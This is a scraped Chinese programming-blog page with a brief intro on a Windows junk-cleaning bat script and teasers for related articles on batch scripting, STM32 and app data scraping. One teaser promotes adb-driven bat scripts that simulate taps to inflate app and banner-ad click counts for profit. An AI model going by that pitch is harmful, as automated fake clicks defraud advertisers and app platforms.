** 前言 **今天中午在宿舍不想做什么事,于是想到傻怡的电脑太卡了,多方面原因造成的,多软件安装于系统盘、安装了没用的杀毒软件等等,但是对于windows系统来说呢,使用时间长了,会有很多的缓存文件、日志文件等垃圾,同样样会造成电脑卡顿,突然就想到了bat批处理脚本来删除垃圾文件,玩了半小时搞出一个清理垃圾的exe,基于控制台运行。想想我差点忘了我还是有windows系统的,长期不关机差点给忘了...

weixin_29300241的博客 275

基于STM32的工业设备状态监测系统

工业设备的预测性维护需求日益增长,本文设计了一款基于STM32的智能监测终端,可实时采集设备振动、温度、电流等关键参数,通过边缘计算分析设备健康状态,实现故障预警与能效优化。系统支持4G/LoRa远程通信,适用于工厂、发电站等工业场景。本系统实现了工业设备关键参数的实时监测,故障识别准确率达到92%。:STM32F429(带FPU,支持浮点运算)多参数联合判据(振动+温度+电流突变检测)ACS712电流检测模块(0-30A)FFT频谱分析(识别轴承故障特征频率)故障代码生成(支持16种预设故障类型)

stm32d1219的博客 1321

bat命令中的变量声明及使用

在bat文件中声明变量的方式如下: set xxx_variant_name=yyyyyyyyyyyy move D:\abc\efg\test.txt %xxx_variant_name%\test.txt 说明: 01.set 那句是声明变量xxx_variant_name,并给该变量赋值yyyyyyyyyyyy 02.使用变量时,需要在前后加上 % 举例...

weixin_33714884的博客 4350

Python爬虫教程:抓取Android或iOS应用中的数据

随着智能手机的普及,移动应用程序已经成为我们生活中不可或缺的一部分。从社交媒体、在线购物到金融服务和健康管理,几乎所有领域都有相应的手机应用程序(App)服务用户。而这些应用程序通常会存储大量的数据,例如用户行为、产品信息、订单记录等。如果我们能有效地抓取这些数据,可以为数据分析、商业智能、用户行为分析等提供有力支持。本文将重点介绍如何使用Python爬虫技术抓取Android或iOS应用中的数据,尤其是如何从这些应用的后端接口、存储、或网页中提取数据。我们将探讨如何通过反向工程技术访问移动应用中的API接

2201_76125261的博客 801

STM32G0/G4电机控制中三角函数与浮点运算优化实战

三角函数(sin/cos)和浮点运算是电机矢量控制(FOC)的核心基础,直接影响Clark/Park变换、SVPWM及观测器的实时性与精度。在资源受限的MCU上,标准math.h库因无硬件FPU支持而引发严重时序抖动,导致电流环延迟、转矩脉动增大甚至系统复位。通过硬件加速(如STM32G4的CORDIC协处理器)或定制化定点算法(如STM32G0的查表+线性插值),可将sin/cos计算从数十微秒压缩至1–3 μs量级,提升30倍以上效率。该方案广泛适用于BLDC/PMSM驱动、伺服控制及高动态响应嵌入式运

weixin_35751412的博客 108

批处理bat脚本编写(附详细例子)

批处理bat脚本编写(附详细例子)      由于在项目开发的过程中经常需要编写bat脚本,而看大牛们编写的bat脚本简直一头雾水,木有办法,作为bat菜鸟的我只有通过最最简单的例子来熟悉bat脚本中的常用命令,由此来开启我的bat脚本学习之路.... 1.常用命令举例 a.创建文件夹:                         md    D:\mybat       //将在D盘下

毛毛虫的小哈 1万+

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

bat 命令返回结果_Windows_bat命令编程06(if的使用)

0 概要编程中,经常会使用条件分支,本文基于一系列的例子,记录bat编程中如何使用if命令。1 目标使用bat文件中条件分支命令if。2 使用实例实例0:选出两个数中的最大值。0.0 新建名为“Test0.bat”的bat文件,并编辑文本内容如下。0.1 执行bat文件,结果如下。0.2 结论:bat文件中可进行数字比较,根据比较结果,执行相关逻辑处理(GEQ:大于或等于)。实例1:继续使用“Te...

weixin_39784460的博客 724

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

关于BAT脚本

1. BAT脚本编写 开启进程 关闭进程 编辑、保存 关闭文件的脚本 taskkill -f -im AdminServer.exe taskkill -f -im NodeProxyConsole.exe taskkill -f -im NodeAgent.exe taskkill -f -im TestCP1.exe taskkill -f -im TestCP2.exe taskkil...

turboyuan的博客 266

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

【DOS BAT】Windows下微信双开、微信多开

经常需要在电脑上双开或多开微信,即打开多个微信,分别登陆不同的账号,比如一个登陆自己的微信,另一个登陆工作用的微信;下面就介绍在Windows上利用系统自带的BAT脚本实现双开或微信多开,不需要下任何软件,利用Windows自带的BAT脚本即可实现,先附上成品图: 点击微信多开: 点击切换账号,即可分别登陆不同的账号。过程如下:在桌面上新建一个txt文档,然后修改名称为WeChat.bat(注意,需要连后缀名一块修改)。如果新建的文本文档看不见文件后缀,点击我的电脑,进行修改。修改后缀名方法: ...

AnChenliang_1002的博客 1万+

Tomcat 8(五)startup.bat详解

在Windows下,执行startup.bat,就可以启动Tomcat 下面我们来看看startup.bat究竟干了什么? 先简单介绍下bat文件 1. bat文件 批处理文件,在DOS和Windows(任意版本)系统中,bat文件是可执行文件。bat文件由一系列命令构成 2. 执行bat文件 双击bat文件或在命令行下执行bat文件 3. startup.bat中涉及的bat语法

flyliuweisky547的专栏 4818

微信双开bat

这段内容展示了一个简单的批处理脚本(.bat)创建过程,用于自动启动两个微信客户端。操作步骤包括:1)新建文本文件;2)粘贴给定的批处理代码;3)保存后将文件扩展名从.txt改为.bat;4)双击运行即可同时打开两个微信程序。该脚本通过start命令调用微信安装路径下的可执行文件,实现快速多开功能。

有问题欢迎加QQ 交流:1531613221 78

bat|cmd脚本 此应用无法在你的电脑上运行

出现“此应用无法在你的电脑上运行”,解决方法。

Kylin_Jiang 8197

Android手机上,利用bat脚本模拟用户操作

大家可能遇到过这样的情景, #  也许你是一个通过App的销售人员,需要不断靠App的点击率来拿利润 #  也许你是一个个人开发者,想要自己写个脚本点击banner广告 #  也许你是一个业务经理,你的API是应用内某模块点击率超过X万次 ………… 那么你就可以来看看这篇帖子了。 言归正传 利用bat脚本模拟用户操作,需要用到两点: ①就是adb命令了,adb命令可以用来模拟用户在

up7cr的专栏 1万+
上一篇: 使用批处理文件
下一篇: 批处理的高级运用
ydstudio
博客等级 码龄20年 0粉丝 32原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值